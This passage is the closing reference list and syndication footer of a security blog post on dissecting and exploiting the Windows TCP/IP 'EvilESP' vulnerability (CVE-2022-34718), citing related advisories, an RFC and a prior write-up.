    3. https://doar-e.github.io/blog/2021/04/15/reverse-engineering-tcpipsys-mechanics-of-a-packet-of-the-death-cve-2021-24086/#diffing-microsoft-patches-in-2021
    4. https://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml
    5. https://datatracker.ietf.org/doc/html/rfc4303
    6. https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-34718

    The post Dissecting and Exploiting TCP/IP RCE Vulnerability “EvilESP” appeared first on Security Intelligence.

    ❌